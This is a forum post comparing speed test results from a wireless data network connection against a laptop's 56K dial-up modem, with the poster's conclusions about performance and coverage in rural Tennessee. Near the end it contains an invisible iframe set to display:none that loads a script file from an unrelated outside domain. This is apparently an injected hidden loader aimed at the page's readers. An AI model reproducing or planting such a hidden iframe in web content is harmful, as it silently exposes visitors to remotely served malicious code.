With all the discussions on the Express Network speeds, I thought I would provide a forum to post speed test results. I am on a business trip and thought I would compare EN with my 56K Lucent WinModem built into my IBM ThinkPad laptop. I ran each test twice... once using my 7135 as a wireless modem connected through Express Network (I was getting "2 bars" on the signal strength meter) and then again with my internal 56K modem (it reported a connection speed of 45.2K). These results were conducted pretty much in the middle of nowhere in a hotel at an interstate exit in eastern rural TN (for what thats worth).

Here are my results:

Bandwidthplace.com
EN Test 1 - 50.6K
EN Test 2 - 69.8K
Modem Test 1 - 37.3K
Modem Test 2 - 37.8K

DSLReports.com
EN Test 1 - 105K Download & 56K Upload
EN Test 2 - 102K Download & 71K Upload
Modem Test 1 - 36K Download & 21K Upload
Modem Test 2 - 37K Download & 17K Upload

Toast.net
EN Test 1 - 73K
EN Test 2 - 127K
EN Test 3 - 100K
Modem Test 1 - 33K
Modem Test 2 - 39K
Modem Test 3 - 37K

Netease.net
EN Test 1 - 48K Small File & 89K Large File
EN Test 2 - 52K Small File & 90K Large File
Modem Test 1 - 40K Small File & 24K Large File
Modem Test 2 - 42K Small File & 24K Large File

Conclusions I drew from these tests:

1) Even in the middle of nowhere Express Network performance was very respectable.

2) Performace of the Express Network conection was consistently better than the modem. Sometimes by as much as 3X better performance.

3) The only time I will be using my internal laptop modem is when I am in an area without EN availability.

4) The Express Network connection seemed to perform better on speed tests with larger files than it did on speed tests with smaller files. I don't know if that was just chance or not. Might be worth some additional testing to see if file size does make a difference... Would favor downloads vs. web surfing.

5) One additional sideline thought... As I was traveling from Nashville TN to Morristown TN (about a 4-hour trip via interstate), I checked my 7135 every 30-minutes or so to see if I was in an Express Network area and everytime I checked I had the "1X" in the upper left of the screen. Coverage seems to be pretty complete (although I didn't get off the interstate to check it in the real "boonies")<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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Regards, Steve